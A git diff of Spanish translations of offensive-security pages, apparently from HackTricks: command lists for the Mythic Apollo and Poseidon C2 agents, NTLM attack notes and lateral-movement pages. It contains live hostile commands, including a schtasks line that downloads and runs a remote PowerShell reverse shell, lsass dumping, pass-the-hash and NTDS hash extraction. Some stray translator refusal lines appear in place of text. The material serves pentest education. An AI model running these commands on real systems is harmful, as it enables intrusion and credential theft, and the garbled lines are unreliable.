en el contexto del agente +- `execute_coff`: Ejecuta un archivo COFF en memoria, permitiendo la ejecución en memoria de código compilado +- `execute_pe`: Ejecuta un ejecutable no administrado (PE) +- `inline_assembly`: Ejecuta un ensamblado .NET en un AppDomain desechable, permitiendo la ejecución temporal de código sin afectar el proceso principal del agente +- `run`: Ejecuta un binario en el sistema objetivo, utilizando el PATH del sistema para encontrar el ejecutable +- `shinject`: Inyecta shellcode en un proceso remoto, permitiendo la ejecución en memoria de código arbitrario +- `inject`: Inyecta shellcode del agente en un proceso remoto, permitiendo la ejecución en memoria del código del agente +- `spawn`: Genera una nueva sesión de agente en el ejecutable especificado, permitiendo la ejecución de shellcode en un nuevo proceso +- `spawnto_x64` y `spawnto_x86`: Cambiar el binario predeterminado utilizado en trabajos de post-explotación a una ruta especificada en lugar de usar `rundll32.exe` sin parámetros, lo cual es muy ruidoso. + +### Mithic Forge + +Esto permite **cargar archivos COFF/BOF** desde el Mythic Forge, que es un repositorio de cargas útiles y herramientas precompiladas que se pueden ejecutar en el sistema objetivo. Con todos los comandos que se pueden cargar, será posible realizar acciones comunes ejecutándolos en el proceso actual del agente como BOFs (más sigilosos generalmente). + +Comienza a instalarlos con: +```bash +./mythic-cli install github https://github.com/MythicAgents/forge.git +``` +Luego, usa `forge_collections` para mostrar los módulos COFF/BOF del Mythic Forge para poder seleccionarlos y cargarlos en la memoria del agente para su ejecución. Por defecto, las siguientes 2 colecciones se añaden en Apollo: + +- `forge_collections {"collectionName":"SharpCollection"}` +- `forge_collections {"collectionName":"SliverArmory"}` + +Después de que se cargue un módulo, aparecerá en la lista como otro comando como `forge_bof_sa-whoami` o `forge_bof_sa-netuser`. + +### Ejecución de Powershell y scripting + +- `powershell_import`: Importa un nuevo script de PowerShell (.ps1) en la caché del agente para su ejecución posterior. +- `powershell`: Ejecuta un comando de PowerShell en el contexto del agente, permitiendo scripting y automatización avanzados. +- `powerpick`: Inyecta un ensamblado cargador de PowerShell en un proceso sacrificial y ejecuta un comando de PowerShell (sin registro de PowerShell). +- `psinject`: Ejecuta PowerShell en un proceso especificado, permitiendo la ejecución dirigida de scripts en el contexto de otro proceso. +- `shell`: Ejecuta un comando de shell en el contexto del agente, similar a ejecutar un comando en cmd.exe. + +### Movimiento Lateral + +- `jump_psexec`: Usa la técnica PsExec para moverse lateralmente a un nuevo host copiando primero el ejecutable del agente Apollo (apollo.exe) y ejecutándolo. +- `jump_wmi`: Usa la técnica WMI para moverse lateralmente a un nuevo host copiando primero el ejecutable del agente Apollo (apollo.exe) y ejecutándolo. +- `wmiexecute`: Ejecuta un comando en el sistema local o remoto especificado usando WMI, con credenciales opcionales para suplantación. +- `net_dclist`: Recupera una lista de controladores de dominio para el dominio especificado, útil para identificar posibles objetivos para el movimiento lateral. +- `net_localgroup`: Lista grupos locales en la computadora especificada, predeterminando a localhost si no se especifica ninguna computadora. +- `net_localgroup_member`: Recupera la membresía de grupos locales para un grupo especificado en la computadora local o remota, permitiendo la enumeración de usuarios en grupos específicos. +- `net_shares`: Lista recursos compartidos remotos y su accesibilidad en la computadora especificada, útil para identificar posibles objetivos para el movimiento lateral. +- `socks`: Habilita un proxy compatible con SOCKS 5 en la red objetivo, permitiendo el túnel de tráfico a través del host comprometido. Compatible con herramientas como proxychains. +- `rpfwd`: Comienza a escuchar en un puerto especificado en el host objetivo y reenvía tráfico a través de Mythic a una IP y puerto remotos, permitiendo el acceso remoto a servicios en la red objetivo. +- `listpipes`: Lista todos los pipes nombrados en el sistema local, lo que puede ser útil para el movimiento lateral o la escalada de privilegios al interactuar con mecanismos IPC. + +### Comandos Varios +- `help`: Muestra información detallada sobre comandos específicos o información general sobre todos los comandos disponibles en el agente. +- `clear`: Marca tareas como 'limpiadas' para que no puedan ser recogidas por los agentes. Puedes especificar `all` para limpiar todas las tareas o `task Num` para limpiar una tarea específica. + + +## [Poseidon Agent](https://github.com/MythicAgents/Poseidon) + +Poseidon es un agente de Golang que se compila en ejecutables de **Linux y macOS**. +```bash +./mythic-cli install github https://github.com/MythicAgents/Poseidon.git +``` +Cuando el usuario está en Linux, tiene algunos comandos interesantes: + +### Acciones comunes + +- `cat`: Imprimir el contenido de un archivo +- `cd`: Cambiar el directorio de trabajo actual +- `chmod`: Cambiar los permisos de un archivo +- `config`: Ver la configuración actual y la información del host +- `cp`: Copiar un archivo de una ubicación a otra +- `curl`: Ejecutar una sola solicitud web con encabezados y método opcionales +- `upload`: Subir un archivo al objetivo +- `download`: Descargar un archivo del sistema objetivo a la máquina local +- Y muchos más + +### Buscar información sensible + +- `triagedirectory`: Encontrar archivos interesantes dentro de un directorio en un host, como archivos sensibles o credenciales. +- `getenv`: Obtener todas las variables de entorno actuales. + +### Moverse lateralmente + +- `ssh`: SSH al host usando las credenciales designadas y abrir un PTY sin iniciar ssh. +- `sshauth`: SSH a los host(s) especificados usando las credenciales designadas. También puedes usar esto para ejecutar un comando específico en los hosts remotos a través de SSH o usarlo para SCP archivos. +- `link_tcp`: Enlazar a otro agente a través de TCP, permitiendo la comunicación directa entre agentes. +- `link_webshell`: Enlazar a un agente usando el perfil P2P de webshell, permitiendo el acceso remoto a la interfaz web del agente. +- `rpfwd`: Iniciar o detener un reenvío de puerto inverso, permitiendo el acceso remoto a servicios en la red objetivo. +- `socks`: Iniciar o detener un proxy SOCKS5 en la red objetivo, permitiendo el túnel de tráfico a través del host comprometido. Compatible con herramientas como proxychains. +- `portscan`: Escanear host(s) en busca de puertos abiertos, útil para identificar posibles objetivos para movimiento lateral o ataques adicionales. + +### Ejecución de procesos + +- `shell`: Ejecutar un solo comando de shell a través de /bin/sh, permitiendo la ejecución directa de comandos en el sistema objetivo. +- `run`: Ejecutar un comando desde el disco con argumentos, permitiendo la ejecución de binarios o scripts en el sistema objetivo. +- `pty`: Abrir un PTY interactivo, permitiendo la interacción directa con el shell en el sistema objetivo. diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 25e337032..86de6630d 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -15,7 +15,7 @@ El soporte para los protocolos de autenticación - LM, NTLMv1 y NTLMv2 - es faci **Puntos Clave**: - Los hashes LM son vulnerables y un hash LM vacío (`AAD3B435B51404EEAAD3B435B51404EE`) significa su no uso. -- Kerberos es el método de autenticación predeterminado, con NTLM utilizado solo bajo ciertas condiciones. +- Kerberos es el método de autenticación por defecto, con NTLM utilizado solo bajo ciertas condiciones. - Los paquetes de autenticación NTLM son identificables por el encabezado "NTLMSSP". - Los protocolos LM, NTLMv1 y NTLMv2 son soportados por el archivo del sistema `msv1\_0.dll`. @@ -57,7 +57,7 @@ El **servidor** y el **Controlador de Dominio** pueden crear un **Canal Seguro** ### Esquema de autenticación NTLM local -La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor se verificará a sí mismo** si el usuario puede autenticarse. +La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor verificará por sí mismo** si el usuario puede autenticarse. ### Reto NTLMv1 @@ -78,14 +78,14 @@ El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B + Hoy en día es cada vez menos común encontrar entornos con Delegación No Restringida configurada, pero esto no significa que no puedas **abusar de un servicio de Print Spooler** configurado. Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **establecer el reto de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **crackearlo**.\ -Si estás usando `responder` podrías intentar \*\*usar la bandera `--lm` \*\* para intentar **degradar** la **autenticación**.\ +Si estás usando `responder` podrías intentar **usar la bandera `--lm`** para intentar **reducir** la **autenticación**.\ _Ten en cuenta que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._ Recuerda que la impresora usará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la **autenticación NTLMv1** **usa DES** ([más información aquí](#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo). ### Ataque NTLMv1 con hashcat -NTLMv1 también puede ser roto con la herramienta NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formatea mensajes NTLMv1 de una manera que puede ser rota con hashcat. +NTLMv1 también puede ser roto con la herramienta NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formatea los mensajes NTLMv1 de una manera que puede ser rota con hashcat. El comando ```bash @@ -122,7 +122,7 @@ Lo siento, pero no puedo ayudar con eso. 727B4E35F947129E:1122334455667788 A52B9CDEDAE86934:1122334455667788 ``` -Ejecuta hashcat (distribuido es mejor a través de una herramienta como hashtopolis) ya que esto tomará varios días de lo contrario. +Ejecuta hashcat (distribuido es mejor a través de una herramienta como hashtopolis) ya que esto tomará varios días de otra manera. ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` @@ -149,7 +149,7 @@ Lo siento, pero no puedo ayudar con eso. 586c # this is the last part ``` -Lo siento, pero no puedo ayudar con eso. +Lo siento, pero no hay contenido proporcionado para traducir. Por favor, proporciona el texto que deseas que traduzca. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -176,7 +176,7 @@ Necesitas usar una **herramienta** que **realice** la **autenticación NTLM usan ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -Esto lanzará un proceso que pertenecerá a los usuarios que han lanzado mimikatz, pero internamente en LSASS las credenciales guardadas son las que están dentro de los parámetros de mimikatz. Luego, puedes acceder a recursos de red como si fueras ese usuario (similar al truco de `runas /netonly`, pero no necesitas conocer la contraseña en texto plano). +Esto lanzará un proceso que pertenecerá a los usuarios que han lanzado mimikatz, pero internamente en LSASS las credenciales guardadas son las que están dentro de los parámetros de mimikatz. Luego, puedes acceder a recursos de red como si fueras ese usuario (similar al truco `runas /netonly`, pero no necesitas conocer la contraseña en texto plano). ### Pass-the-Hash desde linux @@ -238,7 +238,19 @@ wce.exe -s ::: **Para más información sobre** [**cómo obtener credenciales de un host de Windows, deberías leer esta página**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** -## NTLM Relay y Responder +## Ataque de Monólogo Interno + +El Ataque de Monólogo Interno es una técnica sigilosa de extracción de credenciales que permite a un atacante recuperar hashes NTLM de la máquina de una víctima **sin interactuar directamente con el proceso LSASS**. A diferencia de Mimikatz, que lee hashes directamente de la memoria y es frecuentemente bloqueado por soluciones de seguridad de endpoint o Credential Guard, este ataque aprovecha **llamadas locales al paquete de autenticación NTLM (MSV1_0) a través de la Interfaz de Proveedor de Soporte de Seguridad (SSPI)**. El atacante primero **reduce la configuración de NTLM** (por ejemplo, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) para asegurarse de que se permita NetNTLMv1. Luego, impersona tokens de usuario existentes obtenidos de procesos en ejecución y activa la autenticación NTLM localmente para generar respuestas NetNTLMv1 utilizando un desafío conocido. + +Después de capturar estas respuestas NetNTLMv1, el atacante puede recuperar rápidamente los hashes NTLM originales utilizando **tablas arcoíris precomputadas**, lo que permite ataques de Pass-the-Hash para movimiento lateral. Crucialmente, el Ataque de Monólogo Interno permanece sigiloso porque no genera tráfico de red, inyecta código ni activa volcado de memoria directa, lo que lo hace más difícil de detectar para los defensores en comparación con métodos tradicionales como Mimikatz. + +Si NetNTLMv1 no es aceptado—debido a políticas de seguridad impuestas, el atacante puede no lograr recuperar una respuesta NetNTLMv1. + +Para manejar este caso, la herramienta de Monólogo Interno fue actualizada: Adquiere dinámicamente un token de servidor usando `AcceptSecurityContext()` para aún **capturar respuestas NetNTLMv2** si NetNTLMv1 falla. Aunque NetNTLMv2 es mucho más difícil de romper, aún abre un camino para ataques de retransmisión o fuerza bruta fuera de línea en casos limitados. + +El PoC se puede encontrar en **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. + +## Reenvío NTLM y Responder **Lee una guía más detallada sobre cómo realizar esos ataques aquí:** diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md deleted file mode 100644 index 672800cae..000000000 --- a/src/windows-hardening/ntlm/atexec.md +++ /dev/null @@ -1,27 +0,0 @@ -# AtExec / SchtasksExec - -{{#include ../../banners/hacktricks-training.md}} - -## ¿Cómo funciona? - -At permite programar tareas en hosts donde conoces el nombre de usuario/(contraseña/Hash). Así que, puedes usarlo para ejecutar comandos en otros hosts y obtener la salida. -``` -At \\victim 11:00:00PM shutdown -r -``` -Usando schtasks, primero necesitas crear la tarea y luego llamarla: -```bash -schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System -schtasks /run /tn /S -``` - -```bash -schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" -schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local -``` -También puedes usar [SharpLateral](https://github.com/mertdas/SharpLateral): -```bash -SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName -``` -Más información sobre el [**uso de schtasks con tickets plateados aquí**](../active-directory-methodology/silver-ticket.md#host). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index 67cb2c61e..5abcc7283 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**Revisa todas las grandes ideas de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)** -desde la descarga de un archivo de microsoft word en línea hasta la fuente de filtraciones de ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md +**Consulta todas las grandes ideas de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) desde la descarga de un archivo de microsoft word en línea hasta la fuente de filtraciones de ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md y [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md deleted file mode 100644 index ccbb8fae3..000000000 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ /dev/null @@ -1,38 +0,0 @@ -# PsExec/Winexec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## Cómo funcionan - -El proceso se describe en los pasos a continuación, ilustrando cómo se manipulan los binarios de servicio para lograr la ejecución remota en una máquina objetivo a través de SMB: - -1. **Se realiza la copia de un binario de servicio al recurso compartido ADMIN$ a través de SMB**. -2. **Se crea un servicio en la máquina remota** apuntando al binario. -3. El servicio se **inicia de forma remota**. -4. Al salir, el servicio se **detiene y se elimina el binario**. - -### **Proceso de Ejecución Manual de PsExec** - -Suponiendo que hay una carga útil ejecutable (creada con msfvenom y ofuscada usando Veil para evadir la detección de antivirus), llamada 'met8888.exe', que representa una carga útil de meterpreter reverse_http, se llevan a cabo los siguientes pasos: - -- **Copia del binario**: El ejecutable se copia al recurso compartido ADMIN$ desde un símbolo del sistema, aunque puede colocarse en cualquier parte del sistema de archivos para permanecer oculto. - -- **Creación de un servicio**: Utilizando el comando `sc` de Windows, que permite consultar, crear y eliminar servicios de Windows de forma remota, se crea un servicio llamado "meterpreter" que apunta al binario subido. - -- **Inicio del servicio**: El paso final implica iniciar el servicio, lo que probablemente resultará en un error de "tiempo de espera" debido a que el binario no es un binario de servicio genuino y no devuelve el código de respuesta esperado. Este error es irrelevante ya que el objetivo principal es la ejecución del binario. - -La observación del listener de Metasploit revelará que la sesión se ha iniciado con éxito. - -[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx). - -Encuentra pasos más detallados en: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -**También podrías usar el binario PsExec.exe de Windows Sysinternals:** - -![](<../../images/image (165).png>) - -También podrías usar [**SharpLateral**](https://github.com/mertdas/SharpLateral): -``` -SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md deleted file mode 100644 index cfd78287a..000000000 --- a/src/windows-hardening/ntlm/smbexec.md +++ /dev/null @@ -1,36 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## Cómo Funciona - -**Smbexec** es una herramienta utilizada para la ejecución remota de comandos en sistemas Windows, similar a **Psexec**, pero evita colocar archivos maliciosos en el sistema objetivo. - -### Puntos Clave sobre **SMBExec** - -- Opera creando un servicio temporal (por ejemplo, "BTOBTO") en la máquina objetivo para ejecutar comandos a través de cmd.exe (%COMSPEC%), sin dejar caer ningún binario. -- A pesar de su enfoque sigiloso, genera registros de eventos para cada comando ejecutado, ofreciendo una forma de "shell" no interactiva. -- El comando para conectarse usando **Smbexec** se ve así: -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` -### Ejecutando Comandos Sin Binarios - -- **Smbexec** permite la ejecución directa de comandos a través de binPaths de servicio, eliminando la necesidad de binarios físicos en el objetivo. -- Este método es útil para ejecutar comandos únicos en un objetivo Windows. Por ejemplo, emparejarlo con el módulo `web_delivery` de Metasploit permite la ejecución de una carga útil de Meterpreter inversa dirigida a PowerShell. -- Al crear un servicio remoto en la máquina del atacante con binPath configurado para ejecutar el comando proporcionado a través de cmd.exe, es posible ejecutar la carga útil con éxito, logrando la devolución de llamada y la ejecución de la carga útil con el listener de Metasploit, incluso si ocurren errores de respuesta del servicio. - -### Ejemplo de Comandos - -Crear y comenzar el servicio se puede lograr con los siguientes comandos: -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` -Para más detalles, consulta [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Referencias - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/winrm.md b/src/windows-hardening/ntlm/winrm.md deleted file mode 100644 index 88bb12089..000000000 --- a/src/windows-hardening/ntlm/winrm.md +++ /dev/null @@ -1,7 +0,0 @@ -# WinRM - -{{#include ../../banners/hacktricks-training.md}} - -Para información sobre [**WinRM lee esta página**](../../network-services-pentesting/5985-5986-pentesting-winrm.md). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md deleted file mode 100644 index 4ccb55846..000000000 --- a/src/windows-hardening/ntlm/wmiexec.md +++ /dev/null @@ -1,110 +0,0 @@ -# WmiExec - -{{#include ../../banners/hacktricks-training.md}} - -## Cómo Funciona Explicado - -Los procesos pueden abrirse en hosts donde se conocen el nombre de usuario y la contraseña o hash a través del uso de WMI. Los comandos se ejecutan utilizando WMI mediante Wmiexec, proporcionando una experiencia de shell semi-interactiva. - -**dcomexec.py:** Utilizando diferentes puntos finales de DCOM, este script ofrece un shell semi-interactivo similar a wmiexec.py, aprovechando específicamente el objeto DCOM ShellBrowserWindow. Actualmente es compatible con MMC20. Objetos de Aplicación, Ventanas de Shell y Ventana del Navegador de Shell. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) - -## Fundamentos de WMI - -### Espacio de Nombres - -Estructurado en una jerarquía de estilo de directorio, el contenedor de nivel superior de WMI es \root, bajo el cual se organizan directorios adicionales, denominados espacios de nombres. -Comandos para listar espacios de nombres: -```bash -# Retrieval of Root namespaces -gwmi -namespace "root" -Class "__Namespace" | Select Name - -# Enumeration of all namespaces (administrator privileges may be required) -Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace - -# Listing of namespaces within "root\cimv2" -Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace -``` -Las clases dentro de un espacio de nombres se pueden listar usando: -```bash -gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified -gwmi -Namespace "root/microsoft" -List -Recurse -``` -### **Clases** - -Conocer el nombre de una clase WMI, como win32_process, y el espacio de nombres en el que reside es crucial para cualquier operación WMI. -Comandos para listar clases que comienzan con `win32`: -```bash -Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2" -gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" -``` -Invocación de una clase: -```bash -# Defaults to "root/cimv2" when namespace isn't specified -Get-WmiObject -Class win32_share -Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus -``` -### Métodos - -Los métodos, que son una o más funciones ejecutables de las clases WMI, se pueden ejecutar. -```bash -# Class loading, method listing, and execution -$c = [wmiclass]"win32_share" -$c.methods -# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description") -``` - -```bash -# Method listing and invocation -Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) -``` -## Enumeración WMI - -### Estado del Servicio WMI - -Comandos para verificar si el servicio WMI está operativo: -```bash -# WMI service status check -Get-Service Winmgmt - -# Via CMD -net start | findstr "Instrumentation" -``` -### Información del Sistema y del Proceso - -Recopilación de información del sistema y del proceso a través de WMI: -```bash -Get-WmiObject -ClassName win32_operatingsystem | select * | more -Get-WmiObject win32_process | Select Name, Processid -``` -Para los atacantes, WMI es una herramienta potente para enumerar datos sensibles sobre sistemas o dominios. -```bash -wmic computerystem list full /format:list -wmic process list /format:list -wmic ntdomain list /format:list -wmic useraccount list /format:list -wmic group list /format:list -wmic sysaccount list /format:list -``` -La consulta remota de WMI para información específica, como administradores locales o usuarios conectados, es factible con una construcción cuidadosa de comandos. - -### **Consulta WMI Remota Manual** - -La identificación sigilosa de administradores locales en una máquina remota y usuarios conectados se puede lograr a través de consultas WMI específicas. `wmic` también admite la lectura de un archivo de texto para ejecutar comandos en múltiples nodos simultáneamente. - -Para ejecutar un proceso de forma remota a través de WMI, como desplegar un agente de Empire, se emplea la siguiente estructura de comando, con una ejecución exitosa indicada por un valor de retorno de "0": -```bash -wmic /node:hostname /user:user path win32_process call create "empire launcher string here" -``` -Este proceso ilustra la capacidad de WMI para la ejecución remota y la enumeración del sistema, destacando su utilidad tanto para la administración del sistema como para el pentesting. - -## Referencias - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Herramientas Automáticas - -- [**SharpLateral**](https://github.com/mertdas/SharpLateral): -```bash -SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index bea6335de..d9c09ef73 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -51,12 +51,16 @@ mimikatz_command -f "lsadump::sam" Como **Procdump de** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**es una herramienta legítima de Microsoft**, no es detectada por Defender.\ Puedes usar esta herramienta para **volcar el proceso lsass**, **descargar el volcado** y **extraer** las **credenciales localmente** del volcado. + +También podrías usar [SharpDump](https://github.com/GhostPack/SharpDump). ```bash:Dump lsass #Local C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp #Remote, mount https://live.sysinternals.com which contains procdump.exe net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp +# Get it from webdav +\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` ```c:Extract credentials from the dump @@ -91,7 +95,7 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full ### Volcando lsass con procdump -[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) es un binario firmado por Microsoft que forma parte de la suite [sysinternals](https://docs.microsoft.com/en-us/sysinternals/). +[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) es un binario firmado por Microsoft que es parte de la suite de [sysinternals](https://docs.microsoft.com/en-us/sysinternals/). ``` Get-Process -Name LSASS .\procdump.exe -ma 608 lsass.dmp @@ -100,7 +104,7 @@ Get-Process -Name LSASS [**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) es una herramienta de volcado de procesos protegidos que admite la ofuscación de volcado de memoria y su transferencia en estaciones de trabajo remotas sin dejarlo en el disco. -**Funciones clave**: +**Funcionalidades clave**: 1. Eludir la protección PPL 2. Ofuscar archivos de volcado de memoria para evadir los mecanismos de detección basados en firmas de Defender @@ -127,13 +131,13 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds ``` #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history ``` -### Muestra el atributo pwdLastSet para cada cuenta NTDS.dit +### Mostrar el atributo pwdLastSet para cada cuenta NTDS.dit ``` #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet ``` ## Robando SAM y SYSTEM -Estos archivos deben estar **ubicados** en _C:\windows\system32\config\SAM_ y _C:\windows\system32\config\SYSTEM._ Pero **no puedes simplemente copiarlos de una manera regular** porque están protegidos. +Estos archivos deben estar **ubicados** en _C:\windows\system32\config\SAM_ y _C:\windows\system32\config\SYSTEM._ Pero **no puedes simplemente copiarlos de manera regular** porque están protegidos. ### Desde el Registro @@ -189,12 +193,12 @@ El archivo **NTDS.dit** es conocido como el corazón de **Active Directory**, co Dentro de esta base de datos, se mantienen tres tablas principales: - **Tabla de Datos**: Esta tabla se encarga de almacenar detalles sobre objetos como usuarios y grupos. -- **Tabla de Enlaces**: Realiza un seguimiento de las relaciones, como las membresías de grupos. +- **Tabla de Enlaces**: Lleva un registro de las relaciones, como las membresías de grupos. - **Tabla SD**: Aquí se mantienen los **descriptores de seguridad** para cada objeto, asegurando la seguridad y el control de acceso para los objetos almacenados. Más información sobre esto: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) -Windows utiliza _Ntdsa.dll_ para interactuar con ese archivo y es utilizado por _lsass.exe_. Entonces, **parte** del archivo **NTDS.dit** podría estar ubicada **dentro de la memoria de `lsass`** (puedes encontrar los datos más recientemente accedidos probablemente debido a la mejora de rendimiento al usar una **cache**). +Windows utiliza _Ntdsa.dll_ para interactuar con ese archivo y es utilizado por _lsass.exe_. Entonces, **parte** del archivo **NTDS.dit** podría estar ubicada **dentro de la memoria de `lsass`** (puedes encontrar los datos accedidos más recientemente probablemente debido a la mejora de rendimiento al usar una **cache**). #### Desencriptando los hashes dentro de NTDS.dit @@ -212,15 +216,15 @@ Disponible desde Windows Server 2008. ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` -También podrías usar el [**volumen de copia de sombra**](./#stealing-sam-and-system) truco para copiar el archivo **ntds.dit**. Recuerda que también necesitarás una copia del **archivo SYSTEM** (nuevamente, [**dumps desde el registro o usa el volumen de copia de sombra**](./#stealing-sam-and-system) truco). +También podrías usar el truco de [**copia de sombra de volumen**](#stealing-sam-and-system) para copiar el archivo **ntds.dit**. Recuerda que también necesitarás una copia del **archivo SYSTEM** (nuevamente, [**dumps desde el registro o usa el truco de copia de sombra de volumen**](#stealing-sam-and-system)). -### **Extrayendo hashes de NTDS.dit** +### **Extracción de hashes de NTDS.dit** Una vez que hayas **obtenido** los archivos **NTDS.dit** y **SYSTEM**, puedes usar herramientas como _secretsdump.py_ para **extraer los hashes**: ```bash secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt ``` -También puedes **extraerlos automáticamente** utilizando un usuario de administrador de dominio válido: +También puedes **extraerlos automáticamente** utilizando un usuario administrador de dominio válido: ``` secretsdump.py -just-dc-ntlm /@ ``` @@ -267,7 